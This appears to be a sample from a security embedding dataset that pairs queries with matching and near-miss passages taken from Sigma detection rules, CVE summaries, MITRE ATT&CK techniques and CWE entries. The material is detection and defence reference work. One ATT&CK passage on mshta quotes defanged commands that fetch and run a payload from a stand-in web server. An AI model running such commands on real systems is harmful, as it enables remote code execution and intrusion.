alirezaaminzadeh/secembed-pairs huggingface dataset:
Query: Sigma rule for Addition of domains is seldom and should be verified for legitimacy.
Matching passage: Sigma rule: Addition of domains is seldom and should be verified for legitimacy.. Logsource: windows / security. Rule: title: A New Trust Was Created To A Domain id: 0255a820-e564-4e40-af2b-6ac61160335c status: stable description: Addition of domains is seldom and should be verified for legitimacy. references: - https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4706 author: Thomas Patzke date: 2019-12-03 modified: 2024-01-16 tags: - attack.privilege-escalation - attack.persistence - attack.t1098 logsource: product: windows service: security detection: selection: EventID: 4706 condition: selection falsepositives: - Legitimate extension of domain structure level: medium
Near-miss passage: Sigma rule: Detect malicious GPO modifications can be used to implement many other malicious behaviors.. Logsource: windows / process_creation. Rule: title: Modify Group Policy Settings id: ada4b0c4-758b-46ac-9033-9004613a150d related: - id: b7216a7d-687e-4c8d-82b1-3080b2ad961f type: similar status: test description: Detect malicious GPO modifications can be used to implement many other malicious behaviors. references: - https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1484.001/T1484.001.md author: frack113 date: 2022-08-19 tags: - attack.privilege-escalation - attack.defense-impairment - attack.t1484.001 logsource: category: process_creation product: windows detection: selection_reg: - Image|endswith: \reg.exe - OriginalFileName: reg.exe selection_path: CommandLine|contains: \SOFTWARE\Policies\Microsoft\Windows\System selection_key: CommandLine|contains: - GroupPolicyRefreshTimeDC - GroupPolicyRefreshTimeOffsetDC - GroupPolicyRefreshTime - GroupPolicyRefreshTimeOffset - EnableSmartScreen - ShellSmartScreenLevel condition: all of selection_* falsepositives: - Legitimate use level: medium
Query: risk of Integer overflow in the _zip_cdir_new function in zip_dirent.c in libzip 0.11.2 and earlier, as used in the ZIP extension in PHP before 5.4.39, 5.5.x before 5.5.23, and 5.6.x befor
Matching passage: CVE-2015-2331. CWE: CWE-189. CVSS: 7.5. Integer overflow in the _zip_cdir_new function in zip_dirent.c in libzip 0.11.2 and earlier, as used in the ZIP extension in PHP before 5.4.39, 5.5.x before 5.5.23, and 5.6.x before 5.6.7 and other products, allows remote attackers to cause a denial of service (application crash) or possibly execute arbitrary code via a ZIP archive that contains many entries, leading to a heap-based buffer overflow.
Near-miss passage: CVE-2015-4491. CWE: CWE-189. CVSS: 6.800000190734863. Integer overflow in the make_filter_table function in pixops/pixops.c in gdk-pixbuf before 2.31.5, as used in Mozilla Firefox before 40.0 and Firefox ESR 38.x before 38.2 on Linux, Google Chrome on Linux, and other products, allows remote attackers to execute arbitrary code or cause a denial of service (heap-based buffer overflow and application crash) via crafted bitmap dimensions that are mishandled during scaling.
Query: detection engineering for Msiexec
Matching passage: T1218.007 Msiexec. Tactics: stealth. Description: Adversaries may abuse msiexec.exe to proxy execution of malicious payloads. Msiexec.exe is the command-line utility for the Windows Installer and is thus commonly associated with executing installation packages (.msi).(Citation: Microsoft msiexec) The Msiexec.exe binary may also be digitally signed by Microsoft. Adversaries may abuse msiexec.exe to launch local or network accessible MSI files. Msiexec.exe can also execute DLLs.(Citation: LOLBAS Msiexec)(Citation: TrendMicro Msiexec Feb 2018) Since it may be signed and native on Windows systems, msiexec.exe can be used to bypass application control solutions that do not account for its potential abuse. Msiexec.exe execution may also be elevated to SYSTEM privileges if the <code>AlwaysInstallElevated</code> policy is enabled.(Citation: Microsoft AlwaysInstallElevated 2018)
Near-miss passage: T1218.004 InstallUtil. Tactics: stealth. Description: Adversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries. (Citation: MSDN InstallUtil) The InstallUtil binary may also be digitally signed by Microsoft and located in the .NET directories on a Windows system: <code>C:\Windows\Microsoft.NET\Framework\v<version>\InstallUtil.exe</code> and <code>C:\Windows\Microsoft.NET\Framework64\v<version>\InstallUtil.exe</code>. InstallUtil may also be used to bypass application control through use of attributes within the binary that execute the class decorated with the attribute <code>[System.ComponentModel.RunInstaller(true)]</code>. (Citation: LOLBAS Installutil)
Query: exploit Honeywell Tuxedo Touch before 5.2.19.0_VA relies on client-side authentication involving JavaScript, which allows remote attackers to bypass intended access restrictions by removin
Matching passage: CVE-2015-2847. CWE: CWE-284. CVSS: 5.0. Honeywell Tuxedo Touch before 5.2.19.0_VA relies on client-side authentication involving JavaScript, which allows remote attackers to bypass intended access restrictions by removing USERACCT requests from the client-server data stream.
Near-miss passage: CVE-2015-0119. CWE: CWE-284. CVSS: 7.5. FastBack Mount in IBM Tivoli Storage Manager FastBack 6.1.x before 6.1.11.1 allows remote attackers to execute arbitrary code by connecting to the Mount port.
Query: write Sigma for The Tasks folder in system32 and syswow64 are globally writable paths. Adversaries can take advantage of this and load o
Matching passage: Sigma rule: The Tasks folder in system32 and syswow64 are globally writable paths. Adversaries can take advantage of this and load o. Logsource: windows / process_creation. Rule: title: Tasks Folder Evasion id: cc4e02ba-9c06-48e2-b09e-2500cace9ae0 status: test description: 'The Tasks folder in system32 and syswow64 are globally writable paths. Adversaries can take advantage of this and load or influence any script hosts or ANY .NET Application in Tasks to load and execute a custom assembly into cscript, wscript, regsvr32, mshta, eventvwr ' references: - https://twitter.com/subTee/status/1216465628946563073 - https://gist.github.com/am0nsec/8378da08f848424e4ab0cc5b317fdd26 author: Sreeman date: 2020-01-13 modified: 2022-12-25 tags: - attack.privilege-escalation - attack.persistence - attack.execution - attack.stealth - attack.t1574.001 logsource: product: windows category: process_creation detection: selection1: CommandLine|contains: - 'echo ' - 'copy ' - 'type ' - file createnew selection2: CommandLine|contains: - ' C:\Windows\System32\Tasks\' - ' C:\Windows\SysWow64\Tasks\' condition: all of selection* falsepositives: - Unknown level: high
Near-miss passage: Sigma rule: This method uses uncommon error codes on failed logons to determine suspicious activity and tampering with accounts that. Logsource: windows / security. Rule: title: Account Tampering - Suspicious Failed Logon Reasons id: 9eb99343-d336-4020-a3cd-67f3819e68ee status: test description: This method uses uncommon error codes on failed logons to determine suspicious activity and tampering with accounts that have been disabled or somehow restricted. references: - https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4625 - https://twitter.com/SBousseaden/status/1101431884540710913 author: Florian Roth (Nextron Systems) date: 2017-02-19 modified: 2025-10-17 tags: - attack.persistence - attack.privilege-escalation - attack.initial-access - attack.stealth - attack.t1078 logsource: product: windows service: security detection: selection_eid: EventID: - 4625 - 4776 selection_status: - Status: - '0xC0000072' - '0xC000006F' - '0xC0000070' - '0xC0000413' - '0xC000018C' - '0xC000015B' - SubStatus: - '0xC0000072' - '0xC000006F' - '0xC0000070' - '0xC0000413' - '0xC000018C' - '0xC000015B' filter: SubjectUserSid: S-1-0-0 condition: all of selection_* and not filter falsepositives: - User using a disabled account level: medium
Query: describe CVE-2015-8753
Matching passage: CVE-2015-8753. CWE: CWE-264. CVSS: 9.100000381469727. SAP Afaria 7.0.6001.5 allows remote attackers to bypass authorization checks and wipe or lock mobile devices via a crafted request, related to "Insecure signature," aka SAP Security Note 2134905.
Near-miss passage: CVE-2015-1644. CWE: CWE-264. CVSS: 7.199999809265137. Microsoft Windows Server 2003 SP2, Windows Vista SP2, Windows Server 2008 SP2 and R2 SP1, Windows 7 SP1, Windows 8, Windows 8.1, Windows Server 2012 Gold and R2, and Windows RT Gold and 8.1 do not properly constrain impersonation levels, which allows local users to gain privileges via a crafted application, aka "Windows MS-DOS Device Name Vulnerability."
Query: weakness Incorrect Use of Autoboxing and Unboxing for Performance Critical Operations
Matching passage: CWE-1235 Incorrect Use of Autoboxing and Unboxing for Performance Critical Operations. The code uses boxed primitives, which may introduce inefficiencies into performance-critical operations.
Near-miss passage: CWE-1327 Binding to an Unrestricted IP Address. The product assigns the address 0.0.0.0 for a database server, a cloud service/instance, or any computing resource that communicates remotely.
Query: vulnerability: Multiple cross-site scripting (XSS) vulnerabilities in EMC RSA Identity Management & Governance (IMG) before 7.0.0 allow remote attackers to inject arbitrary web script or HTML via
Matching passage: CVE-2015-4539. CWE: CWE-79. CVSS: 4.300000190734863. Multiple cross-site scripting (XSS) vulnerabilities in EMC RSA Identity Management & Governance (IMG) before 7.0.0 allow remote attackers to inject arbitrary web script or HTML via unspecified vectors.
Near-miss passage: CVE-2015-0749. CWE: CWE-79. CVSS: 6.099999904632568. A vulnerability in Cisco Unified Communications Manager could allow an unauthenticated, remote attacker to conduct a cross-site scripting (XSS) attack on the affected software. The vulnerabilities is due to improper input validation of certain parameters passed to the affected software. An attacker could exploit this vulnerability by convincing a user to follow a malicious link. A successful exploit could allow the attacker to execute arbitrary script code in the context of the affected site or allow the attacker to access sensitive browser-based information.
Query: exploit vos in OpenAFS before 1.6.13, when updating VLDB entries, allows remote attackers to obtain stack data by sniffing the network.
Matching passage: CVE-2015-3282. CWE: CWE-200. CVSS: 4.300000190734863. vos in OpenAFS before 1.6.13, when updating VLDB entries, allows remote attackers to obtain stack data by sniffing the network.
Near-miss passage: CVE-2015-8095. CWE: CWE-200. CVSS: 5.0. The recycle bin feature in the Monster Menus module 7.x-1.21 before 7.x-1.24 for Drupal does not properly remove nodes from view, which allows remote attackers to obtain sensitive information via an unspecified URL pattern.
Query: risk of The "Plug-in for VMware vCenter" in VCE Vision Intelligent Operations before 2.6.5 sends a cleartext HTTP response upon a request for the Settings screen, which allows remote attac
Matching passage: CVE-2015-4057. CWE: CWE-200. CVSS: 7.5. The "Plug-in for VMware vCenter" in VCE Vision Intelligent Operations before 2.6.5 sends a cleartext HTTP response upon a request for the Settings screen, which allows remote attackers to discover the admin user password by sniffing the network.
Near-miss passage: CVE-2015-6352. CWE: CWE-200. CVSS: 4.300000190734863. Cisco Unified Communications Domain Manager before 10.6(1) provides different error messages for pathname access attempts depending on whether the pathname exists, which allows remote attackers to map a filesystem via a series of requests, aka Bug ID CSCut67891.
Query: how to detect Compiled HTML File
Matching passage: T1218.001 Compiled HTML File. Tactics: stealth. Description: Adversaries may abuse Compiled HTML files (.chm) to conceal malicious code. CHM files are commonly distributed as part of the Microsoft HTML Help system. CHM files are compressed compilations of various content such as HTML documents, images, and scripting/web related programming languages such VBA, JScript, Java, and ActiveX. (Citation: Microsoft HTML Help May 2018) CHM content is displayed using underlying components of the Internet Explorer browser (Citation: Microsoft HTML Help ActiveX) loaded by the HTML Help executable program (hh.exe). (Citation: Microsoft HTML Help Executable Program) A custom CHM file containing embedded payloads could be delivered to a victim then triggered by [User Execution](https://attack.mitre.org/techniques/T1204). CHM execution may also bypass application application control on older and/or unpatched systems that do not account for execution of binaries through hh.exe. (Citation: MsitPros CHM Aug 2017) (Citation: Microsoft CVE-2017-8625 Aug 2017)
Near-miss passage: T1218.005 Mshta. Tactics: stealth. Description: Adversaries may abuse mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code (Citation: Cylance Dust Storm) (Citation: Red Canary HTA Abuse Part Deux) (Citation: FireEye Attacks Leveraging HTA) (Citation: Airbus Security Kovter Analysis) (Citation: FireEye FIN7 April 2017) Mshta.exe is a utility that executes Microsoft HTML Applications (HTA) files. (Citation: Wikipedia HTML Application) HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. (Citation: MSDN HTML Applications) Files may be executed by mshta.exe through an inline script: <code>mshta vbscript:Close(Execute("GetObject(""script:https[:]//webserver/payload[.]sct"")"))</code> They may also be executed directly from URLs: <code>mshta http[:]//webserver/payload[.]hta</code> Mshta.exe can be used to bypass application control solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings. (Citation: LOLBAS Mshta)
Query: detection engineering for Brute Force
Matching passage: T1110 Brute Force. Tactics: credential access. Description: Adversaries may use brute force techniques to gain access to accounts when passwords are unknown or when password hashes are obtained.(Citation: TrendMicro Pawn Storm Dec 2020) Without knowledge of the password for an account or set of accounts, an adversary may systematically guess the password using a repetitive or iterative mechanism.(Citation: Dragos Crashoverride 2018) Brute forcing passwords can take place via interaction with a service that will check the validity of those credentials or offline against previously acquired credential data, such as password hashes. Brute forcing credentials may take place at various points during a breach. For example, adversaries may attempt to brute force access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) within a victim environment leveraging knowledge gathered from other post-compromise behaviors such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), [Account Discovery](https://attack.mitre.org/techniques/T1087), or [Password Policy Discovery](https://attack.mitre.org/techniques/T1201). Adversaries may also combine brute forcing activity with behaviors such as [External Remote Services](https://attack.mitre.org/techniques/T1133) as part of Initial Access. If an adversary guesses the correct password but fails to login to a compromised account due to location-based conditional access policies, they may change their infrastructure until they match the victim’s location and therefore bypass those policies.(Citation: ReliaQuest Health Care Social Engineering Campaign 2024)
Near-miss passage: T1110.002 Password Cracking. Tactics: credential access. Description: Adversaries may use password cracking to attempt to recover usable credentials, such as plaintext passwords, when credential material such as password hashes are obtained. [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) can be used to obtain password hashes, this may only get an adversary so far when [Pass the Hash](https://attack.mitre.org/techniques/T1550/002) is not an option. Further, adversaries may leverage [Data from Configuration Repository](https://attack.mitre.org/techniques/T1602) in order to obtain hashed credentials for network devices.(Citation: US-CERT-TA18-106A) Techniques to systematically guess the passwords used to compute hashes are available, or the adversary may use a pre-computed rainbow table to crack hashes. Cracking hashes is usually done on adversary-controlled systems outside of the target network.(Citation: Wikipedia Password cracking) The resulting plaintext password resulting from a successfully cracked hash may be used to log into systems, resources, and services in which the account has access.
Query: vulnerability: The CAttrArray object implementation in Microsoft Internet Explorer 7 through 11 allows remote attackers to execute arbitrary code or cause a denial of service (type confusion and 
Matching passage: CVE-2015-6184. CWE: UNKNOWN. CVSS: 8.100000381469727. The CAttrArray object implementation in Microsoft Internet Explorer 7 through 11 allows remote attackers to execute arbitrary code or cause a denial of service (type confusion and memory corruption) via a malformed Cascading Style Sheets (CSS) token sequence in conjunction with modifications to HTML elements, aka "Internet Explorer Memory Corruption Vulnerability," a different vulnerability than CVE-2015-6048 and CVE-2015-6049.
Near-miss passage: CVE-2015-8616. CWE: UNKNOWN. CVSS: 8.600000381469727. Use-after-free vulnerability in the Collator::sortWithSortKeys function in ext/intl/collator/collator_sort.c in PHP 7.x before 7.0.1 allows remote attackers to cause a denial of service (application crash) or possibly have unspecified other impact by leveraging the relationships between a key buffer and a destroyed array.
Query: threat report mentioning Data from Information Repositories
Matching passage: T1213 Data from Information Repositories. Tactics: collection. Description: Adversaries may leverage information repositories to mine valuable information. Information repositories are tools that allow for storage of information, typically to facilitate collaboration or information sharing between users, and can store a wide variety of data that may aid adversaries in further objectives, such as Credential Access, Lateral Movement, or Defense Evasion, or direct access to the target information. Adversaries may also abuse external sharing features to share sensitive documents with recipients outside of the organization (i.e., [Transfer Data to Cloud Account](https://attack.mitre.org/techniques/T1537)). The following is a brief list of example information that may hold potential value to an adversary and may also be found on an information repository: * Policies, procedures, and standards * Physical / logical network diagrams * System architecture diagrams * Technical system documentation * Testing / development credentials (i.e., [Unsecured Credentials](https://attack.mitre.org/techniques/T1552)) * Work / project schedules * Source code snippets * Links to network shares and other internal resources * Contact or other sensitive information about business partners and customers, including personally identifiable information (PII) Information stored in a repository may vary based on the specific instance or environment. Specific common information repositories include the following: * Storage services such as IaaS databases, enterprise databases, and more specialized platforms such as customer relationship management (CRM) databases * Collaboration platforms such as SharePoint, Confluence, and code repositories * Messaging platforms such as Slack and Microsoft Teams In some cases, information repositories have been improperly secured, typically by unintentionally allowing for overly-broad access by all users or even public access to unauthenticated users. This is particularly common with cloud-native or cloud-hosted services, such as AWS Relat
Near-miss passage: T1213.002 Sharepoint. Tactics: collection. Description: Adversaries may leverage the SharePoint repository as a source to mine valuable information. SharePoint will often contain useful information for an adversary to learn about the structure and functionality of the internal network and systems. For example, the following is a list of example information that may hold potential value to an adversary and may also be found on SharePoint: * Policies, procedures, and standards * Physical / logical network diagrams * System architecture diagrams * Technical system documentation * Testing / development credentials (i.e., [Unsecured Credentials](https://attack.mitre.org/techniques/T1552)) * Work / project schedules * Source code snippets * Links to network shares and other internal resources
Query: detect Hypervisor CLI
Matching passage: T1059.012 Hypervisor CLI. Tactics: execution. Description: Adversaries may abuse hypervisor command line interpreters (CLIs) to execute malicious commands. Hypervisor CLIs typically enable a wide variety of functionality for managing both the hypervisor itself and the guest virtual machines it hosts. For example, on ESXi systems, tools such as `esxcli` and `vim-cmd` allow administrators to configure firewall rules and log forwarding on the hypervisor, list virtual machines, start and stop virtual machines, and more.(Citation: Broadcom ESXCLI Reference)(Citation: Crowdstrike Hypervisor Jackpotting Pt 2 2021)(Citation: LOLESXi) Adversaries may be able to leverage these tools in order to support further actions, such as [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) or [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486).
Near-miss passage: T1059.010 AutoHotKey & AutoIT. Tactics: execution. Description: Adversaries may execute commands and perform malicious tasks using AutoIT and AutoHotKey automation scripts. AutoIT and AutoHotkey (AHK) are scripting languages that enable users to automate Windows tasks. These automation scripts can be used to perform a wide variety of actions, such as clicking on buttons, entering text, and opening and closing programs.(Citation: AutoIT)(Citation: AutoHotKey) Adversaries may use AHK (`.ahk`) and AutoIT (`.au3`) scripts to execute malicious code on a victim's system. For example, adversaries have used for AHK to execute payloads and other modular malware such as keyloggers. Adversaries have also used custom AHK files containing embedded malware as [Phishing](https://attack.mitre.org/techniques/T1566) payloads.(Citation: Splunk DarkGate) These scripts may also be compiled into self-contained executable payloads (`.exe`).(Citation: AutoIT)(Citation: AutoHotKey)
Query: CWE for Missing Validation of OpenSSL Certificate
Matching passage: CWE-599 Missing Validation of OpenSSL Certificate. The product uses OpenSSL and trusts or uses a certificate without using the SSL_get_verify_result() function to ensure that the certificate satisfies all necessary security requirements.
Near-miss passage: CWE-509 Replicating Malicious Code (Virus or Worm). Replicating malicious code, including viruses and worms, will attempt to attack other systems once it has successfully compromised the target system or the product.